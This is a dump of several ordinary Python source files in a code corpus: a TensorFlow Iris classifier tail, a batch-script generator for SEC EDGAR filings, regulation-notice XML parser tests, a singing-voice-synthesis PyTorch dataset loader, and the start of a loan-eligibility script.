Setup the test dataset\r\n\r\ntest_url = \"http://download.tensorflow.org/data/iris_test.csv\"\r\n(head, TestFileName)=os.path.split(test_url)\r\n# Copy test set file to the built directory\r\ntest_fp = tf.keras.utils.get_file(fname=os.path.join(Iris_dataset_directory,TestFileName),\r\n origin=test_url)\r\n\r\ntest_dataset = tf.contrib.data.make_csv_dataset(\r\n train_dataset_fp,\r\n batch_size,\r\n column_names=column_names,\r\n label_name='species',\r\n num_epochs=1,\r\n shuffle=False)\r\n\r\n# \"\"\"Pack the features into a single array.\"\"\"\r\ntest_dataset = test_dataset.map(pack_features_vector)\r\n\r\ntest_accuracy = tfe.metrics.Accuracy()\r\n\r\nfor (x, y) in test_dataset:\r\n logits = model(x)\r\n prediction = tf.argmax(logits, axis=1, output_type=tf.int32)\r\n test_accuracy(prediction, y)\r\n\r\nprint(\"Test set accuracy: {:.3%}\".format(test_accuracy.result()))\r\n\r\n# Use the trained model to make predictions\r\n\r\npredict_dataset = tf.convert_to_tensor([\r\n [5.1, 3.3, 1.7, 0.5,],\r\n [5.9, 3.0, 4.2, 1.5,],\r\n [6.9, 3.1, 5.4, 2.1]\r\n])\r\n\r\npredictions = model(predict_dataset)\r\n\r\nfor i, logits in enumerate(predictions):\r\n class_idx = tf.argmax(logits).numpy()\r\n p = tf.nn.softmax(logits)[class_idx]\r\n name = class_names[class_idx]\r\n print(\"Example {} prediction: {} ({:4.1f}%)\".format(i, name, 100*p))","sub_path":"IrisClassificationTest.py","file_name":"IrisClassificationTest.py","file_ext":"py","file_size_in_byte":6538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"387658564","text":"import inflect\n\n\ndef pybatch(batch_file=None, num_batches=None):\n p = inflect.engine()\n with open(batch_file, 'w') as f_id:\n f_id.write(\"from multiprocessing import Process\\nfrom edgar import get_filings\\nimport json\\\n \\n\\n\\ndef process_batch(batch_num):\\n\\\n with open('/home/kbuchan/PycharmProjects/sec/data/json/cik_tickers_bins_FINAL.json', 'r') as f_id:\\n\\\n company_information = json.load(f_id)\\n\\\n for index, cik in enumerate(company_information[batch_num]):\\n\\\n #flag = False\\n\\\n #if (index % 2) == 0:\\n\\\n # flag = True\\n\\\n companyName = company_information[batch_num][cik]\\n\\\n get_filings(companyName=companyName, cik=cik)#, flag=flag)\\n\\\n return\\n\\n\\\nif __name__ == '__main__':\\n\")\n for index in range(num_batches):\n bin_number = index+1\n inflect_number = '_'.join('_'.join(p.number_to_words(bin_number).split('-')).split())\n f_id.write(\" p_\" + inflect_number + \" = Process(target=process_batch, args=('\" + str(bin_number) + \"',))\\n\")\n f_id.write(\" p_\" + inflect_number + \".start()\\n\")\n\npybatch(batch_file='pybatch.py', num_batches=10)","sub_path":"data_collection/generate_batch_script.py","file_name":"generate_batch_script.py","file_ext":"py","file_size_in_byte":1199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"145400438","text":"from lxml import etree\nfrom regparser.notice.sxs import *\nfrom unittest import TestCase\n\n\nclass NoticeSxsTests(TestCase):\n def test_find_page(self):\n xml = \"\"\"\n

    \n Text\n

    \n \n

    \n \n

    \n \n \"\"\"\n xml = etree.fromstring(xml)\n for l in range(0, 6):\n self.assertEqual(332, find_page(xml, l, 332))\n for l in range(6, 10):\n self.assertEqual(333, find_page(xml, l, 332))\n for l in range(10, 15):\n self.assertEqual(334, find_page(xml, l, 332))\n\n def test_find_section_by_section(self):\n sxs_xml = \"\"\"\n Sub Section\n

    Content

    \n Sub sub section\n

    Sub Sub Content

    \"\"\"\n full_xml = \"\"\"\n \n \n Supplementary Info\n Stuff Here\n

    Some Content

    \n X. Section-by-Section Analysis\n %s\n Section that follows\n

    Following Content

    \n
    \n
    \"\"\" % sxs_xml\n\n sxs = etree.fromstring(\"\" + sxs_xml + \"\")\n # Must use text field since the nodes are not directly comparable\n sxs_texts = map(lambda el: el.text, list(sxs.xpath(\"/ROOT/*\")))\n\n computed = find_section_by_section(etree.fromstring(full_xml))\n self.assertEqual(sxs_texts, map(lambda el: el.text, computed))\n\n def test_find_section_by_section_not_present(self):\n full_xml = \"\"\"\n \n \n Supplementary Info\n This is not sxs Analysis\n

    Stuff

    \n

    Stuff2

    \n Foot Note\n
    \n
    \"\"\"\n self.assertEqual([], find_section_by_section(etree.fromstring(\n full_xml)))\n\n def test_build_section_by_section(self):\n xml = \"\"\"\n \n Section Header\n

    Content 1

    \n

    Content 2

    \n Sub Section Header\n

    Content 3

    \n Another\n

    Content 4

    \n 4(b) Header\n

    Content 5

    \n
    \"\"\"\n sxs = list(etree.fromstring(xml).xpath(\"/ROOT/*\"))\n structures = build_section_by_section(sxs, '100', 83)\n self.assertEqual(2, len(structures))\n self.assertEqual(structures[0], {\n 'title': 'Section Header',\n 'paragraphs': [\n 'Content 1',\n 'Content 2'\n ],\n 'children': [\n {\n 'title': 'Sub Section Header',\n 'paragraphs': ['Content 3'],\n 'children': [],\n 'page': 83\n },\n {\n 'title': 'Another',\n 'paragraphs': ['Content 4'],\n 'children': [],\n 'page': 83\n }],\n 'page': 83\n })\n self.assertEqual(structures[1], {\n 'title': '4(b) Header',\n 'paragraphs': ['Content 5'],\n 'label': '100-4-b',\n 'page': 83,\n 'children': []\n })\n\n def test_build_section_by_section_footnotes(self):\n \"\"\"We only account for paragraph tags right now\"\"\"\n xml = \"\"\"\n \n Section Header\n

    Content 1

    \n Content A\n

    Content 2

    \n
    \"\"\"\n sxs = list(etree.fromstring(xml).xpath(\"/ROOT/*\"))\n structures = build_section_by_section(sxs, '100', 21)\n self.assertEqual(1, len(structures))\n self.assertEqual(structures[0], {\n 'title': 'Section Header',\n 'paragraphs': [\n 'Content 1',\n 'Content 2',\n ],\n 'children': [],\n 'page': 21\n })\n\n def test_build_section_by_section_label(self):\n \"\"\"Check that labels are being added correctly\"\"\"\n xml = \"\"\"\n \n Section 99.3 Info\n

    Content 1

    \n 3(q)(4) More Info\n

    Content 2

    \n
    \"\"\"\n sxs = list(etree.fromstring(xml).xpath(\"/ROOT/*\"))\n structures = build_section_by_section(sxs, '99', 2323)\n self.assertEqual(1, len(structures))\n self.assertEqual(structures[0], {\n 'title': 'Section 99.3 Info',\n 'label': '99-3',\n 'paragraphs': ['Content 1'],\n 'page': 2323,\n 'children': [{\n 'title': '3(q)(4) More Info',\n 'label': '99-3-q-4',\n 'paragraphs': ['Content 2'],\n 'page': 2323,\n 'children': []\n }]\n })\n\n def test_build_section_by_section_extra_tags(self):\n \"\"\"Check that labels are being added correctly\"\"\"\n xml = \"\"\"\n \n Section 99.3 Info\n

    Content1

    \n

    Content 992

    \n

    Content Emph

    \n
    \"\"\"\n sxs = list(etree.fromstring(xml).xpath(\"/ROOT/*\"))\n structures = build_section_by_section(sxs, '99', 939)\n self.assertEqual(1, len(structures))\n self.assertEqual(structures[0], {\n 'title': 'Section 99.3 Info',\n 'label': '99-3',\n 'page': 939,\n 'paragraphs': ['Content 1', 'Content 2',\n 'Content Emph'],\n 'children': []\n })\n\n def test_build_section_by_section_same_level(self):\n \"\"\"Check that labels are being added correctly\"\"\"\n xml = \"\"\"\n \n Section 99.3 Something Here\n 3(q)(4) More Info\n

    Content 1

    \n Subheader, Really\n

    Content 2

    \n
    \"\"\"\n sxs = list(etree.fromstring(xml).xpath(\"/ROOT/*\"))\n structures = build_section_by_section(sxs, '99', 765)\n self.assertEqual(1, len(structures))\n self.assertEqual(structures[0], {\n 'title': 'Section 99.3 Something Here',\n 'label': '99-3',\n 'paragraphs': [],\n 'page': 765,\n 'children': [{\n 'title': '3(q)(4) More Info',\n 'label': '99-3-q-4',\n 'paragraphs': ['Content 1'],\n 'page': 765,\n 'children': [{\n 'title': 'Subheader, Really',\n 'paragraphs': ['Content 2'],\n 'children': [],\n 'page': 765\n }]\n }]\n })\n\n def test_build_section_by_section_emphasis(self):\n xml = \"\"\"\n \n Section 876.23 Title Here\n

    This sentence hasemphasis!

    \n

    Non emph,emphthen more.

    \n

    This one has an emph with spaces.

    \n
    \"\"\"\n sxs = list(etree.fromstring(xml).xpath(\"/ROOT/*\"))\n structures = build_section_by_section(sxs, '876', 23)\n paragraphs = structures[0]['paragraphs']\n self.assertEqual(paragraphs, [\n 'This sentence has emphasis!',\n 'Non emph, emph then more.',\n 'This one has an emph with spaces.'\n ])\n\n def test_split_into_ttsr(self):\n xml = \"\"\"\n \n Section Header\n

    Content 1

    \n

    Content 2

    \n Sub Section Header\n

    Content 3

    \n Another\n

    Content 4

    \n Next Section\n

    Content 5

    \n
    \"\"\"\n sxs = list(etree.fromstring(xml).xpath(\"/ROOT/*\"))\n title, text_els, sub_sects, remaining = split_into_ttsr(sxs)\n self.assertEqual(\"Section Header\", title.text)\n self.assertEqual(2, len(text_els))\n self.assertEqual(\"Content 1\", text_els[0].text)\n self.assertEqual(\"Content 2\", text_els[1].text)\n self.assertEqual(4, len(sub_sects))\n self.assertEqual(\"Sub Section Header\", sub_sects[0].text)\n self.assertEqual(\"Content 3\", sub_sects[1].text)\n self.assertEqual(\"Another\", sub_sects[2].text)\n self.assertEqual(\"Content 4\", sub_sects[3].text)\n self.assertEqual(2, len(remaining))\n self.assertEqual(\"Next Section\", remaining[0].text)\n self.assertEqual(\"Content 5\", remaining[1].text)\n\n def test_add_spaces_to_title(self):\n \"\"\"Account for wonky titles without proper spacing\"\"\"\n self.assertEqual('Section 101.23 Some Title',\n add_spaces_to_title('Section 101.23 Some Title'))\n self.assertEqual('Section 101.23 Some Title',\n add_spaces_to_title('Section 101.23Some Title'))\n self.assertEqual('Section 101.23:Some Title',\n add_spaces_to_title('Section 101.23:Some Title'))\n self.assertEqual('Appendix A-Some Title',\n add_spaces_to_title('Appendix A-Some Title'))\n self.assertEqual('Comment 29(b)(1)-1 Some Title',\n add_spaces_to_title('Comment 29(b)(1)-1Some Title'))\n\n def test_parse_into_label(self):\n self.assertEqual(\"101-22\",\n parse_into_label(\"Section 101.22Stuff\", \"101\"))\n self.assertEqual(\"101-22-d\",\n parse_into_label(\"22(d) Content\", \"101\"))\n self.assertEqual(\"101-22-d-5\",\n parse_into_label(\"22(d)(5) Content\", \"101\"))\n self.assertEqual(\"101-22-d-5-x\",\n parse_into_label(\"22(d)(5)(x) Content\", \"101\"))\n self.assertEqual(\"101-22-d-5-x-Q\",\n parse_into_label(\"22(d)(5)(x)(Q) Content\", \"101\"))\n self.assertEqual(\"101-A\",\n parse_into_label(\"Appendix A Heading\", \"101\"))\n self.assertEqual(\"101-21-c-Interp-1\",\n parse_into_label(\"Comment 21(c)-1 Heading\", \"101\"))\n\n self.assertEqual(None,\n parse_into_label(\"Application of this rule\", \"101\"))\n\n def test_is_child_of(self):\n parent = \"\"\"Section 22.1\"\"\"\n parent = etree.fromstring(parent)\n\n child = \"\"\"

    Something

    \"\"\"\n self.assertTrue(is_child_of(etree.fromstring(child), parent))\n\n child = \"\"\"Something\"\"\"\n self.assertTrue(is_child_of(etree.fromstring(child), parent))\n\n child = \"\"\"Section 22.2\"\"\"\n self.assertFalse(is_child_of(etree.fromstring(child), parent))\n\n child = \"\"\"Header without Citation\"\"\"\n self.assertTrue(is_child_of(etree.fromstring(child), parent))\n","sub_path":"tests/notice_sxs_tests.py","file_name":"notice_sxs_tests.py","file_ext":"py","file_size_in_byte":11573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"2018172","text":"\"\"\"Copyright [2020] [Jiatong Shi & Shuai Guo].\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\n# !/usr/bin/env python3\n\nimport librosa\nimport logging\nfrom math import log2\nfrom math import pow\nimport numpy as np\nimport os\nimport random\nfrom SVS.model.utils.utils import melspectrogram\nimport torch\nfrom torch.utils.data import Dataset\n\n\ndef _get_spectrograms(\n fpath,\n require_sr,\n preemphasis,\n n_fft,\n hop_length,\n win_length,\n max_db,\n ref_db,\n n_mels=80,\n):\n \"\"\"Parse the wave file in `fpath` and.\n\n Returns normalized melspectrogram and linear spectrogram.\n Args:\n fpath: A string. The full path of a sound file.\n Returns:\n mel: A 2d array of shape (T, n_mels) and dtype of float32.\n mag: A 2d array of shape (T, 1+n_fft/2) and dtype of float32.\n \"\"\"\n # Loading sound file\n y, sr = librosa.load(fpath, sr=None)\n if sr != require_sr:\n y = librosa.resample(y, sr, require_sr)\n\n if n_mels > 0:\n # mel_basis = librosa.filters.mel(require_sr, n_fft, n_mels)\n # mel = np.dot(mel_basis, mag) # (n_mels, t)\n # mel = 20 * np.log10(np.maximum(1e-5, mel))\n # mel = np.clip((mel - ref_db + max_db) / max_db, 1e-8, 1)\n # mel = mel.T.astype(np.float32)\n mel = melspectrogram(y, n_fft, hop_length, win_length, require_sr, n_mels)\n mel = mel.T.astype(np.float32)\n\n y = np.append(y[0], y[1:] - preemphasis * y[:-1])\n\n # stft\n linear = librosa.stft(\n y=y, n_fft=n_fft, hop_length=hop_length, win_length=win_length\n )\n\n # magnitude spectrogram\n mag, phase = librosa.magphase(linear)\n # mag = np.abs(linear) # (1+n_fft//2, T)\n\n # to decibel\n mag = 20 * np.log10(np.maximum(1e-5, mag))\n\n # normalize\n mag = np.clip((mag - ref_db + max_db) / max_db, 1e-8, 1)\n\n # Transpose\n mag = mag.T.astype(np.float32) # (T, 1+n_fft//2)\n phase = phase.T\n\n if n_mels > 0:\n return mag, mel, phase\n else:\n return mag, None, phase\n\n\ndef _load_sing_quality(quality_file, standard=3):\n \"\"\"_load_sing_quality.\"\"\"\n quality = []\n with open(quality_file, \"r\") as f:\n data = f.read().split(\"\\n\")[1:]\n data = list(map(lambda x: x.split(\",\"), data))\n for sample in data:\n if sample[1] != \"\" and int(sample[1]) >= standard:\n quality.append(\"0\" * (4 - len(sample[0])) + sample[0])\n return quality\n\n\ndef _phone2char(phones, char_max_len):\n \"\"\"_phone2char.\"\"\"\n ini = -1\n chars = []\n phones_index = 0\n for phone in phones:\n if phone != ini:\n chars.append(phone)\n ini = phone\n phones_index += 1\n if len(chars) == char_max_len:\n break\n return chars, phones_index\n\n\ndef _Hz2Semitone(freq):\n \"\"\"_Hz2Semitone.\"\"\"\n A4 = 440\n C0 = A4 * pow(2, -4.75)\n name = [\"C\", \"C#\", \"D\", \"D#\", \"E\", \"F\", \"F#\", \"G\", \"G#\", \"A\", \"A#\", \"B\"]\n\n if freq == 0:\n return \"Sil\" # silence\n else:\n h = round(12 * log2(freq / C0))\n octave = h // 12\n n = h % 12\n return name[n] + \"_\" + str(octave)\n\n\ndef _full_semitone_list(semitone_min, semitone_max):\n \"\"\"_full_semitone_list.\"\"\"\n name = [\"C\", \"C#\", \"D\", \"D#\", \"E\", \"F\", \"F#\", \"G\", \"G#\", \"A\", \"A#\", \"B\"]\n\n name_min, octave_min = semitone_min.split(\"_\")\n name_max, octave_max = semitone_max.split(\"_\")\n\n assert octave_min <= octave_max\n\n res = [\"Sil\"]\n flag_insert = 0\n for octave in range(int(octave_min), int(octave_max) + 1):\n for res_name in name:\n if res_name == name_min and octave == int(octave_min):\n flag_insert = 1\n elif res_name == name_max and octave == int(octave_max):\n res.append(res_name + \"_\" + str(octave))\n flag_insert = 0\n break\n if flag_insert == 1:\n res.append(res_name + \"_\" + str(octave))\n\n return res\n\n\ndef _calculate_phone_element_freq(phone_array):\n \"\"\"Return the phone list and freq of given phone_array.\"\"\"\n phone_list = [\n phone_array[index]\n for index in range(len(phone_array))\n if index == 0 or phone_array[index] != phone_array[index - 1]\n ]\n phone_freq = []\n\n begin_index = 0\n for phone in phone_list:\n freq = 0\n for index in range(begin_index, len(phone_array)):\n if phone_array[index] == phone:\n freq += 1\n else:\n phone_freq.append(freq)\n begin_index = index\n break\n phone_freq.append(freq)\n\n assert len(phone_list) == len(phone_freq)\n\n return phone_list, phone_freq\n\n\ndef _phone_shift(phone_array, phone_shift_size):\n\n phone_list, phone_freq = _calculate_phone_element_freq(phone_array)\n\n shift_side = random.randint(0, 1) # 0 - left, 1 - right\n # do phone shift augment\n for index in range(len(phone_freq)):\n\n shift_size = random.randint(1, phone_shift_size)\n flag_shift = 1 if random.random() > 0.5 else 0\n\n if flag_shift:\n if phone_freq[index] > 2 * shift_size:\n\n if shift_side == 0 and index != 0:\n # left shift\n phone_freq[index] -= shift_size\n phone_freq[index - 1] += shift_size\n elif shift_side == 1 and index != len(phone_freq) - 1:\n # right shift\n phone_freq[index] -= shift_size\n phone_freq[index + 1] += shift_size\n\n # reconstruct phone array based on its freq\n res = []\n for index in range(len(phone_freq)):\n for freq in range(phone_freq[index]):\n res.append(phone_list[index])\n res = np.array(res)\n\n assert len(res) == len(phone_array)\n\n return res\n\n\ndef _pitch_shift(f0_array, semitone_list):\n\n f0_list = [f0 for f0 in f0_array if f0 != 0]\n\n if len(f0_list) == 0:\n # no shift\n return [semitone_list.index(_Hz2Semitone(f0)) for f0 in f0_array]\n\n f0_min = np.min(f0_list)\n f0_max = np.max(f0_list)\n\n semitone_min = _Hz2Semitone(f0_min)\n semitone_max = _Hz2Semitone(f0_max)\n\n index_min = semitone_list.index(semitone_min)\n index_max = semitone_list.index(semitone_max)\n\n flag_left, flag_right = False, False\n if index_min - 12 >= 1:\n flag_left = True\n if index_max + 12 <= len(semitone_list) - 1:\n flag_right = True\n\n # decide shift direction\n if flag_left is True and flag_right is True:\n shift_side = random.randint(0, 1) # 0 - left, 1 - right\n elif flag_left is True:\n shift_side = 0\n elif flag_right is True:\n shift_side = 1\n else:\n shift_side = -1\n\n # decide whether to shift\n flag_shift = 1 if random.random() > 0.5 else 0\n\n if shift_side == -1 or flag_shift == 0:\n # no shift\n return [semitone_list.index(_Hz2Semitone(f0)) for f0 in f0_array]\n else:\n if shift_side == 0:\n # left shift\n res = []\n for f0 in f0_array:\n if f0 == 0:\n res.append(semitone_list.index(_Hz2Semitone(f0)))\n else:\n res.append(semitone_list.index(_Hz2Semitone(f0)) - 12)\n return res\n elif shift_side == 1:\n # right shift\n res = []\n for f0 in f0_array:\n if f0 == 0:\n res.append(semitone_list.index(_Hz2Semitone(f0)))\n else:\n res.append(semitone_list.index(_Hz2Semitone(f0)) + 12)\n return res\n\n\nclass SVSCollator(object):\n \"\"\"SVSCollator.\"\"\"\n\n def __init__(\n self,\n max_len,\n char_max_len=80,\n use_asr_post=False,\n phone_size=68,\n n_mels=80,\n db_joint=False,\n random_crop=False,\n crop_min_length=100,\n Hz2semitone=False,\n ):\n \"\"\"init.\"\"\"\n self.max_len = max_len\n # plus 1 for aligner to consider padding char\n self.char_max_len = char_max_len + 1\n self.use_asr_post = use_asr_post\n self.phone_size = phone_size - 1\n self.n_mels = n_mels\n self.db_joint = db_joint\n self.random_crop = random_crop\n self.crop_min_length = crop_min_length\n self.Hz2semitone = Hz2semitone\n\n assert crop_min_length <= max_len\n\n def __call__(self, batch):\n \"\"\"call.\"\"\"\n # phone, beat, pitch, spectrogram, char, phase, mel\n\n batch_size = len(batch)\n # get spectrum dim\n spec_dim = len(batch[0][\"spec\"][0])\n len_list = [len(batch[i][\"phone\"]) for i in range(batch_size)]\n spec = np.zeros((batch_size, self.max_len, spec_dim))\n real = np.zeros((batch_size, self.max_len, spec_dim))\n imag = np.zeros((batch_size, self.max_len, spec_dim))\n if self.n_mels > 0:\n mel = np.zeros((batch_size, self.max_len, self.n_mels))\n pitch = np.zeros((batch_size, self.max_len))\n beat = np.zeros((batch_size, self.max_len))\n length_mask = np.zeros((batch_size, self.max_len))\n semitone = np.zeros((batch_size, self.max_len))\n\n filename_list = [batch[i][\"filename\"] for i in range(batch_size)]\n\n if self.db_joint:\n singer_id = [batch[i][\"singer_id\"] for i in range(batch_size)]\n\n if self.use_asr_post:\n phone = np.zeros((batch_size, self.max_len, self.phone_size))\n else:\n # char_len_list=[len(batch[i][\"char\"]) for i in range(batch_size)]\n phone = np.zeros((batch_size, self.max_len))\n chars = np.zeros((batch_size, self.char_max_len))\n char_len_mask = np.zeros((batch_size, self.char_max_len))\n\n for i in range(batch_size):\n crop_length = random.randint(self.crop_min_length, self.max_len)\n\n if self.random_crop and crop_length < len_list[i]:\n # want2cut length < G.T. length\n index_begin = random.randint(0, int(len_list[i] - crop_length))\n index_end = index_begin + crop_length\n\n length_mask[i, :crop_length] = np.arange(1, crop_length + 1)\n spec[i, :crop_length, :] = batch[i][\"spec\"][\n index_begin:index_end\n ] # [begin, end)\n real[i, :crop_length, :] = batch[i][\"phase\"][index_begin:index_end].real\n imag[i, :crop_length, :] = batch[i][\"phase\"][index_begin:index_end].imag\n pitch[i, :crop_length] = batch[i][\"pitch\"][index_begin:index_end]\n beat[i, :crop_length] = batch[i][\"beat\"][index_begin:index_end]\n\n if self.Hz2semitone:\n semitone[i, :crop_length] = batch[i][\"semitone\"][\n index_begin:index_end\n ]\n\n if self.n_mels > 0:\n mel[i, :crop_length, :] = batch[i][\"mel\"][index_begin:index_end]\n\n if self.use_asr_post:\n phone[i, :crop_length, :] = batch[i][\"phone\"][index_begin:index_end]\n else:\n char_leng = min(len(batch[i][\"char\"]), self.char_max_len)\n phone[i, :crop_length] = batch[i][\"phone\"][index_begin:index_end]\n chars[i, :char_leng] = batch[i][\"char\"][:char_leng]\n char_len_mask[i, :char_leng] = np.arange(1, char_leng + 1)\n\n else:\n length = min(len_list[i], self.max_len)\n\n length_mask[i, :length] = np.arange(1, length + 1)\n spec[i, :length, :] = batch[i][\"spec\"][:length]\n real[i, :length, :] = batch[i][\"phase\"][:length].real\n imag[i, :length, :] = batch[i][\"phase\"][:length].imag\n pitch[i, :length] = batch[i][\"pitch\"][:length]\n beat[i, :length] = batch[i][\"beat\"][:length]\n\n if self.Hz2semitone:\n semitone[i, :length] = batch[i][\"semitone\"][:length]\n\n if self.n_mels > 0:\n mel[i, :length] = batch[i][\"mel\"][:length]\n\n if self.use_asr_post:\n phone[i, :length, :] = batch[i][\"phone\"][:length]\n else:\n char_leng = min(len(batch[i][\"char\"]), self.char_max_len)\n phone[i, :length] = batch[i][\"phone\"][:length]\n chars[i, :char_leng] = batch[i][\"char\"][:char_leng]\n char_len_mask[i, :char_leng] = np.arange(1, char_leng + 1)\n\n spec = torch.from_numpy(spec)\n if self.n_mels > 0:\n mel = np.array(mel).astype(np.float64)\n mel = torch.from_numpy(mel)\n else:\n mel = None\n imag = torch.from_numpy(imag)\n real = torch.from_numpy(real)\n length_mask = torch.from_numpy(length_mask).long()\n pitch = torch.from_numpy(pitch).unsqueeze(dim=-1).long()\n beat = torch.from_numpy(beat).unsqueeze(dim=-1).long()\n phone = torch.from_numpy(phone).unsqueeze(dim=-1).long()\n\n if not self.use_asr_post:\n chars = torch.from_numpy(chars).unsqueeze(dim=-1).to(torch.int64)\n char_len_mask = torch.from_numpy(char_len_mask).long()\n else:\n chars = None\n char_len_mask = None\n\n if self.Hz2semitone:\n semitone = torch.from_numpy(semitone).unsqueeze(dim=-1).long()\n else:\n semitone = None\n\n if self.db_joint:\n return (\n phone,\n beat,\n pitch,\n spec,\n real,\n imag,\n length_mask,\n chars,\n char_len_mask,\n mel,\n singer_id,\n semitone,\n filename_list,\n )\n else:\n return (\n phone,\n beat,\n pitch,\n spec,\n real,\n imag,\n length_mask,\n chars,\n char_len_mask,\n mel,\n semitone,\n filename_list,\n )\n\n\nclass SVSDataset(Dataset):\n \"\"\"SVSDataset.\"\"\"\n\n def __init__(\n self,\n align_root_path,\n pitch_beat_root_path,\n wav_root_path,\n char_max_len=80,\n max_len=500,\n sr=44100,\n preemphasis=0.97,\n nfft=2048,\n frame_shift=0.03,\n frame_length=0.06,\n n_mels=80,\n power=1.2,\n max_db=100,\n ref_db=20,\n sing_quality=\"conf/sing_quality.csv\",\n standard=3,\n db_joint=False,\n Hz2semitone=False,\n semitone_min=\"F_1\",\n semitone_max=\"D_6\",\n phone_shift_size=-1,\n semitone_shift=False,\n ):\n \"\"\"init.\"\"\"\n self.align_root_path = align_root_path\n self.pitch_beat_root_path = pitch_beat_root_path\n self.wav_root_path = wav_root_path\n self.char_max_len = char_max_len\n self.max_len = max_len\n self.sr = sr\n self.preemphasis = preemphasis\n self.nfft = nfft\n self.frame_shift = int(frame_shift * sr)\n self.frame_length = int(frame_length * sr)\n self.n_mels = n_mels\n self.power = power\n self.max_db = max_db\n self.ref_db = ref_db\n self.db_joint = db_joint\n self.Hz2semitone = Hz2semitone\n self.phone_shift_size = phone_shift_size\n self.semitone_shift = semitone_shift\n\n if Hz2semitone:\n self.semitone_list = _full_semitone_list(semitone_min, semitone_max)\n\n if standard > 0:\n print(standard)\n quality = _load_sing_quality(sing_quality, standard)\n else:\n quality = None\n # get file_list\n self.filename_list = os.listdir(align_root_path)\n # phone_list, beat_list, pitch_list, spectrogram_list = [], [], [], []\n for filename in self.filename_list:\n if quality is None:\n break\n if filename[-4:] != \".npy\" or filename[:4] not in quality:\n print(\"remove file {}\".format(filename))\n self.filename_list.remove(filename)\n\n def __len__(self):\n \"\"\"len.\"\"\"\n return len(self.filename_list)\n\n def __getitem__(self, i):\n \"\"\"getitem.\"\"\"\n path = os.path.join(self.align_root_path, self.filename_list[i])\n try:\n phone = np.load(path)\n # phone shift augment\n if self.phone_shift_size != -1:\n assert self.phone_shift_size == 1 or self.phone_shift_size == 2\n phone = _phone_shift(phone, self.phone_shift_size)\n except Exception:\n print(\"error path {}\".format(path))\n\n if self.db_joint:\n db_name = self.filename_list[i].split(\"_\")[0]\n if db_name == \"hts\":\n singer_id = 0\n elif db_name == \"jsut\":\n singer_id = 1\n elif db_name == \"kiritan\":\n singer_id = 2\n elif db_name == \"natsume\":\n singer_id = 3\n elif db_name == \"pjs\":\n singer_id = 4\n elif db_name == \"ofuton\":\n singer_id = 5\n elif db_name == \"oniku\":\n singer_id = 6\n else:\n raise ValueError(\n \"ValueError exception thrown, No such dataset: \", db_name\n )\n\n beat_path = os.path.join(\n self.pitch_beat_root_path, self.filename_list[i][:-4] + \"_beats.npy\"\n )\n beat_numpy = np.load(beat_path)\n beat_index = list(map(lambda x: int(x), beat_numpy))\n beat = np.zeros(len(phone))\n beat[beat_index] = 1\n pitch_path = os.path.join(\n self.pitch_beat_root_path, self.filename_list[i][:-4] + \"_pitch.npy\"\n )\n pitch = np.load(pitch_path)\n wav_path = os.path.join(\n self.wav_root_path, self.filename_list[i][:-4] + \".wav\"\n )\n else:\n # path is different between combine-db <-> single db\n beat_path = os.path.join(\n self.pitch_beat_root_path,\n str(int(self.filename_list[i][1:4])),\n self.filename_list[i][4:-4] + \"_beats.npy\",\n )\n beat_numpy = np.load(beat_path)\n beat_index = list(map(lambda x: int(x), beat_numpy))\n beat = np.zeros(len(phone))\n beat[beat_index] = 1\n pitch_path = os.path.join(\n self.pitch_beat_root_path,\n str(int(self.filename_list[i][1:4])),\n self.filename_list[i][4:-4] + \"_pitch.npy\",\n )\n pitch = np.load(pitch_path)\n wav_path = os.path.join(\n self.wav_root_path,\n str(int(self.filename_list[i][1:4])),\n self.filename_list[i][4:-4] + \".wav\",\n )\n\n spectrogram, mel, phase = _get_spectrograms(\n wav_path,\n self.sr,\n self.preemphasis,\n self.nfft,\n self.frame_shift,\n self.frame_length,\n self.max_db,\n self.ref_db,\n n_mels=self.n_mels,\n )\n\n # length check\n if np.abs(len(phone) - np.shape(spectrogram)[0]) > 3:\n logging.info(\"error file: %s\" % self.filename_list[i])\n logging.info(\n \"spectrum_size: {}, alignment_size: {}, \"\n \"pitch_size: {}, beat_size: {}\".format(\n np.shape(spectrogram)[0], len(phone), len(pitch), len(beat)\n )\n )\n # fix me\n # assert np.abs(len(phone) - np.shape(spectrogram)[0]) <= 15\n # for post condition\n if len(phone.shape) > 1:\n char, trimed_length = None, len(phone)\n else:\n char, trimed_length = _phone2char(phone[: self.max_len], self.char_max_len)\n min_length = min(\n len(phone), np.shape(spectrogram)[0], trimed_length, len(pitch), len(beat)\n )\n phone = phone[:min_length]\n beat = beat[:min_length]\n pitch = pitch[:min_length]\n spectrogram = spectrogram[:min_length, :]\n phase = phase[:min_length, :]\n\n if mel is not None:\n mel = mel[:min_length, :]\n\n if self.Hz2semitone:\n semitone = [self.semitone_list.index(_Hz2Semitone(f0)) for f0 in pitch]\n if self.semitone_shift:\n semitone = _pitch_shift(pitch, self.semitone_list)\n else:\n semitone = None\n\n # print(\"char len: {}, phone len: {}, spectrom: {}\"\n # .format(len(char), len(phone), np.shape(spectrogram)[0]))\n # logging.info(min_length)\n\n if self.db_joint:\n return {\n \"phone\": phone,\n \"beat\": beat,\n \"pitch\": pitch,\n \"spec\": spectrogram,\n \"char\": char,\n \"phase\": phase,\n \"mel\": mel,\n \"singer_id\": singer_id,\n \"semitone\": semitone,\n \"filename\": self.filename_list[i][:-4],\n }\n else:\n return {\n \"phone\": phone,\n \"beat\": beat,\n \"pitch\": pitch,\n \"spec\": spectrogram,\n \"char\": char,\n \"phase\": phase,\n \"mel\": mel,\n \"semitone\": semitone,\n \"filename\": self.filename_list[i][:-4],\n }\n","sub_path":"SVS/model/utils/SVSDataset.py","file_name":"SVSDataset.py","file_ext":"py","file_size_in_byte":22025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"366579518","text":"# this program determines whether a bank customer qualies for a load\n\nmin_salary = 30000.0 # minimum annual salary\nmin_years = 2 # minimum years on the job\n\n# get the customers annual salary\nsalary = float(input('Enter your annual salary: 